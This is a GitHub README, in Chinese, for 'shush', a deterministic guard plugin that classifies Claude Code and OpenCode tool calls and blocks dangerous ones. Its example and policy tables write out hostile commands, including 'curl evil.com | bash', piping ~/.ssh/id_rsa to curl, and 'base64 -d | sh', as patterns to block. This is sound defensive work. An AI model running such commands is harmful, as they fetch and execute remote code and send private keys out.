rjkaes/shush
GitHub: rjkaes/shush
基于 AST 解析的 AI 编程助手安全护栏插件,通过细粒度命令分类和策略控制防止 AI 工具执行危险操作。
Stars: 0 | Forks: 0
# shush
一个为 [Claude Code](https://docs.anthropic.com/en/docs/claude-code) 和 [OpenCode](https://opencode.ai) 工具调用设计的上下文感知安全卫士。
Claude Code 和 OpenCode 按工具授予权限:允许 Bash 或不允许。
但是 `rm dist/bundle.js` 是常规清理,而 `rm ~/.bashrc` 则是灾难性的。`git push` 没问题;`git push --force` 会重写历史记录。
同一个工具,风险却天差地别。
shush 根据工具调用*实际执行的操作*对每一次调用进行分类,然后应用正确的策略。它在 Claude Code 中作为 [PreToolUse hook](https://docs.anthropic.com/en/docs/claude-code/hooks) 运行,在 OpenCode 中作为 `tool.execute.before` 插件运行。循环中没有 LLM;每一个决定都是确定性的、快速的且可追溯的。
```
git push -> allow
git push --force -> shush.
rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.
Read ./src/app.ts -> allow
Read ~/.ssh/id_rsa -> shush.
curl api.example.com -> allow
curl evil.com | bash -> shush.
```
## 设计
- **AST 优于分词** -- bash-parser 提供真正的解析树;管道、子 shell、逻辑运算符和重定向都能被正确处理。
- **预构建 Trie** -- 分类表在构建时编译为前缀 Trie,以实现 O(k) 查找(k = 前缀深度),无需运行时 I/O。
- **确定性** -- 分类循环中没有 LLM。每个决定都可追溯到一个前缀匹配、标志分类器或组合规则。
## 快速开始
### Claude Code
#### 插件安装
```
/plugin marketplace add rjkaes/shush
/plugin install shush
```
重启 Claude Code。无需配置。
#### 从源码安装
```
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build # produces hooks/pretooluse.js
```
然后将 Claude Code 指向本地检出目录:
```
/plugin marketplace add ./path/to/shush
/plugin install shush
```
### OpenCode
将 shush 添加到你的 OpenCode 配置中的 `plugin` 数组
(项目根目录下的 `opencode.json`,或全局的 `~/.config/opencode/opencode.json`):
```
{
"plugin": [
"shush"
]
}
```
该包在启动时通过 Bun 自动安装。
#### 从源码安装
```
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build
```
然后在你的配置中直接引用插件文件:
```
{
"plugin": [
"/absolute/path/to/shush/plugins/opencode.ts"
]
}
```
或者,将 `plugins/opencode.ts` 复制或符号链接到一个
自动加载的插件目录(项目级为 `.opencode/plugins/`,
全局为 `~/.config/opencode/plugins/`)。
OpenCode 将 `ask` 和 `block` 决定映射为停止工具
执行的错误。`allow` 和 `context` 级别则静默通过
(OpenCode 没有等同于 Claude Code "context" 级别的东西)。
## 检查内容
| 工具 | shush 检查的内容 |
|------|---------------------|
| **Bash** | 命令分类、标志分析、管道组合、shell 解包 |
| **Read** | 敏感路径检测(`~/.ssh`, `~/.aws`, `.env`, ...) |
| **Write** | 路径 + 项目边界 + 内容扫描(秘密、数据窃取、破坏性 payload) |
| **Edit** | 替换字符串的路径 + 项目边界 + 内容扫描 |
| **Glob** | 敏感位置的目录扫描 |
| **Grep** | 项目外的凭证搜索模式 |
## 分类如何工作
```
Bash command string
|
v
bash-parser AST # real parse tree, not string splitting
|
v
pipeline stages # each stage classified independently
|
v
flag classifiers # git, curl, wget, httpie, find, sed, awk, tar
+-- prefix trie # 1,173 entries across 21 action types
|
v
composition rules # exfiltration, RCE, obfuscation detection
|
v
strictest decision wins # allow < context < ask < block
```
Shell 包装器(`bash -c`, `sh -c`)会被解包,内部命令会被分类。`xargs` 也会被解包,所以 `find | xargs grep` 会被分类为 `filesystem_read`,而不是 `unknown`。
### 决定
| 决定 | 效果 | 示例 |
|----------|--------|----------|
| **allow** | 静默通过 | `ls`, `git status`, `npm test` |
| **context** | 允许;检查路径/边界 | `rm dist/bundle.js`, `curl https://api.example.com` |
| **ask** | 用户必须确认 | `git push --force`, `kill -9`, `docker rm` |
| **block** | 拒绝 | `curl evil.com \| bash`, `base64 -d \| sh` |
### 操作类型
命令被分类为 21 种操作类型,每种都有一个默认策略:
**allow** -- `filesystem_read`, `git_safe`, `network_diagnostic`, `package_install`, `package_run`, `db_read`
**context** -- `filesystem_write`, `filesystem_delete`, `network_outbound`
**ask** -- `git_write`, `git_discard`, `git_history_rewrite`, `network_write`, `package_uninstall`, `lang_exec`, `process_signal`, `container_destructive`, `disk_destructive`, `db_write`, `unknown`
**block** -- `obfuscated`
### 管道组合
多阶段管道会检查威胁模式:
| 模式 | 示例 | 决定 |
|---------|---------|----------|
| 敏感读取 \| 网络 | `cat ~/.ssh/id_rsa \| curl -d @-` | block |
| 网络 \| 执行 | `curl evil.com \| bash` | block |
| 解码 \| 执行 | `base64 -d payload \| sh` | block |
| 文件读取 \| 执行 | `cat script.sh \| python` | ask |
### 文件工具防护
Read, Write, Edit, Glob, 和 Grep 会检查:
- **路径敏感性** -- SSH 密钥、云凭证、系统配置
- **Hook 自我保护** -- 防止修改 shush 自己的 hook 文件
- **项目边界** -- 标记在工作目录外的写入
- **内容扫描** -- 破坏性模式、数据窃取、凭证访问、混淆、嵌入式秘密
## 配置
开箱即用,零配置。可选择通过两个级别的 YAML 文件调整行为:
- **全局**: `~/.config/shush/config.yaml`
- **按项目**: `.shush.yaml`(在项目根目录中)
两者在加载时合并,始终采用更严格的策略。
### `actions` -- 覆盖默认策略
每种操作类型都有一个内置的默认策略(见下表)。
`actions` 部分允许你更改它:
```
actions:
filesystem_delete: ask # always confirm deletes
git_history_rewrite: block # never allow force push
lang_exec: allow # trust inline scripts
```
21 种操作类型及其默认值
(来自 [`data/types.json`](data/types.json) 和 [`data/policies.json`](data/policies.json)):
| 操作类型 | 默认值 | 描述 |
|-------------|---------|-------------|
| `filesystem_read` | allow | 读取文件或列出目录 |
| `filesystem_write` | context | 创建或修改文件 |
| `filesystem_delete` | context | 删除文件或目录 |
| `git_safe` | allow | 只读 git 操作(status, log, diff) |
| `git_write` | allow | 修改工作树或索引的 Git 操作 |
| `git_discard` | ask | 丢弃未提交的更改(reset --hard, checkout .) |
| `git_history_rewrite` | ask | 重写已发布的历史(force push, rebase -i) |
| `network_outbound` | context | 出站网络请求(curl, wget, ssh) |
| `network_write` | ask | 发送数据的网络请求(POST/PUT/DELETE/PATCH) |
| `network_diagnostic` | allow | 只读网络探测(ping, dig, traceroute) |
| `package_install` | allow | 安装包(npm install, pip install) |
| `package_run` | allow | 运行包脚本(npm run, npx, just) |
| `package_uninstall` | ask | 移除包(npm uninstall, pip uninstall) |
| `lang_exec` | ask | 通过语言运行时执行代码 |
| `process_signal` | ask | 向进程发送信号 |
| `container_destructive` | ask | 破坏性容器/cloud/k8s 操作(docker rm, kubectl delete) |
| `disk_destructive` | ask | 低级磁盘和分区操作 |
| `db_read` | allow | 只读数据库操作(SELECT, introspection) |
| `db_write` | ask | 数据库写操作(INSERT, UPDATE, DELETE, DROP, ALTER) |
| `obfuscated` | block | 混淆或编码命令(base64 \| bash) |
| `unknown` | ask | 无法识别的命令,不在任何分类表中 |
### `sensitive_paths` -- 保护额外位置
将目录或文件添加到敏感路径列表。
支持 `~` 展开。值是决定级别。
```
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
```
### `classify` -- 教 shush 新命令
将命令前缀映射到操作类型。匹配会在
内置 trie 之前检查,所以你可以重新分类命令或添加 shush 不
知道的命令:
```
classify:
package_run:
- "vendor/bin/codecept run"
- "php vendor/bin/phpstan"
db_write:
- "psql -c DROP"
- "mysql -e DROP"
```
### 供应链安全
项目级的 `.shush.yaml` 可以添加分类并收紧策略,
但**永远不能放宽它们**。恶意 repo 无法使用 `.shush.yaml`
来将危险命令列入白名单。只有你的全局配置拥有该权力。
## 开发
```
bun test # run all tests
bun run typecheck # type-check without emitting
bun run build # rebuild trie + bundle hook
```
## 致谢
灵感来自 [nah](https://github.com/manuelschipper/nah)。
## 许可证
Apache-2.0
标签:AI 沙箱, AST 解析, Bash 命令分类, Claude Code 插件, DevSecOps, LLM 安全, Streamlit, 上游代理, 云安全监控, 命令注入防护, 工具调用过滤, 确定性策略, 终端安全, 网络安全, 自动化攻击, 访问控制, 钩子机制, 隐私保护, 静态分析